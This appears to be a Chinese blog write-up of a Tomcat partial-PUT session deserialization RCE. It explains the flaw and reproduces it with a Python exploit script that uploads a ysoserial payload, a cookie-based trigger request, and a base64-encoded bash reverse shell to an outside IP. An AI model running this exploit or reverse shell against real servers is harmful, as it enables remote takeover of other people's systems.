漏洞原理
概况
Tomcat 是一个开源的、轻量级的 Web 应用服务器 和 Servlet 容器。它由 Apache 软件基金会下的 Jakarta 项目开发,是目前最流行的 Java Web 服务器之一。
该漏洞利用条件较为复杂,需同时满足以下四个条件:
- 应用程序启用了DefaultServlet写入功能
- 该功能默认关闭
- 应用支持了 partial PUT 请求,能够将恶意的序列化数据写入到会话文件中
- 该功能默认开启
- 应用使用了 Tomcat 的文件会话持久化并且使用了默认的会话存储位置
- 需要额外配置
- 应用中包含一个存在反序列化漏洞的库,比如存在于类路径下的 commons-collections,此条件取决于业务实现是否依赖存在反序列化利用链的库
原理分析
Content-Range
Content-Range
在 Tomcat 的HTTP PUT请求中主要用于实现大文件的分块传输。
Content-Range: bytes 0-1000/1200
表示
- 文件总大小是1200字节
- 本次上传的是前1001字节(0-1000)
- 后续上传剩余部分(1001-1200)
partial PUT
使用 partial PUT 请求将恶意的序列化数据写入到会话文件中,在开启文件会话持久化(默认存储位置),并且在文件上传未完成的情况下,内容会被临时存储在Tomcat的工作目录:
$CATALINA_BASE/work/Catalina/localhost/ROOT
核心漏洞点
该漏洞的核心在于不完整PUT请求上传时的文件名处理机制:
- 文件路径中的分隔符
/
会被转换为.
例如:访问 /xxxxx/session
会被解析为 .xxxxx.session
利用过程
整个漏洞的利用过程为:
- Tomcat的File会话存储默认路径同样位于:
CATALINA_BASE/work/Catalina/localhost/ROOT
- 当存在反序列化利用链时,可以上传包含恶意序列化数据的文件
- 通过设置
JSESSIONID=.xxxxx
来触发漏洞(这里的.xxxxx
是因为之前的/xxxxx/session
)
影响版本
- 9.0.0.M1 <= version <= 9.0.98
- 10.1.0-M1 <= version <= 10.1.34
- 11.0.0-M1 <= version <= 11.0.2
漏洞复现
一、环境搭建
(一) tomcat下载
我们都知道tomcat是Java语言开发的,所以需要JAVA环境,我这里的Java环境是1.8.0_441
下载与其所对应版本的tomcat,我这里是9.0.93
(二) 启用DefaultServlet写入
在conf/web.xml
中,将DefaultServlet的readonly配置为false(默认true),启用写入功能:
- <init-param>
- <param-name>readonly</param-name>
- <param-value>false</param-value>
- </init-param>
(三) 启用文件会话持久化并使用默认的会话存储位置
在conf/context.xml
中,添加如下配置,开启File文件会话存储:
- <Manager className="org.apache.catalina.session.PersistentManager">
- <Store className="org.apache.catalina.session.FileStore"/>
- </Manager>
这里是新增了这部分的代码
(四) 包含存在反序列化漏洞的库
将Commons Collections 3.2.1.jar
放入webapps\ROOT\WEB-INF\lib
文件夹:
(五) tomcat配置与启动
配置tomcat环境变量
配置Java环境变量
启动
startup.bat
二、漏洞复现
(一) 准备payload
生成一个恶意的序列化文件上传
- 推荐使用 Java Chains 快速生成一个base64编码的cc链反序列化payload
- 可以使用Yakit的yso-java hack生成一个base64的序列化的利用链
- 也可以我们自己利用ysoserial.jar生成
这里可以不拘泥于用CCK1,经测试CC5、CC10等同样可行
(二) 准备PUT请求包
这里需要注意Content-Range的分块值需要与Content-Length保持一致,且大于当前文件的长度。
1. Yakit
这里用Yakit,要先使用base64dec()
标签对payload进行解码上传,直接上传raw格式paylaod是不可用的
2. BurpSuite(无效)
BurpsSuite中不能使用base64dec()
标签,无法正确上传payload
这里发现文件是成功上传了,但是并没有解码,正常来说应该是个二进制文件
当然或许可能是我没找到合适的方法
3. python脚本
直接上一个python脚本,用ysoserial.jar
来生成payload,然后直接PUT到服务器上,完成后访问POC确认是否可以触发
- import os
- import subprocess
- import requests
-
- target = "http://192.168.10.132:9000/poc/session"
- target_poc = "http://192.168.10.132:9000/"
-
- # ysoserial.jar 文件路径
- fp = 'ysoserial.jar'
-
- gadget = "CommonsCollections5"
- linux_rshell = "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjguMTMyLzc3NzcgMD4mMQ==}|{base64,-d}|{bash,-i}"
- linux_cmd = "touch /tmp/success"
- win_cmd = "calc"
-
- command = win_cmd
-
- if not os.path.exists(fp):
- raise Exception('jar file not found')
- popen = subprocess.Popen(['java','-jar',fp,gadget,command],
- stdout=subprocess.PIPE)
-
- file_body = popen.stdout.read()
-
- headers = {
- 'Content-Length': '3000',
- 'Content-Range': 'bytes 0-3000/3200'
- }
- response = requests.put(target, data=file_body, headers=headers, timeout=10)
- # print(response.text)
-
- input("Press Enter to continue...")
-
- response = requests.get(target_poc, cookies={'JSESSIONID':'.poc'}, timeout=10)
(三) Poc触发
当文件被上传成功后,大概30s之内payload会被自动触发,随之文件会被清除。
也可以使用以下poc直接触发:
- GET / HTTP/1.1
- Host: localhost:9000
- Cookie: JSESSIONID=.poc
防御措施
- 打补丁
- 升级到无漏洞版本
评论记录:
回复评论: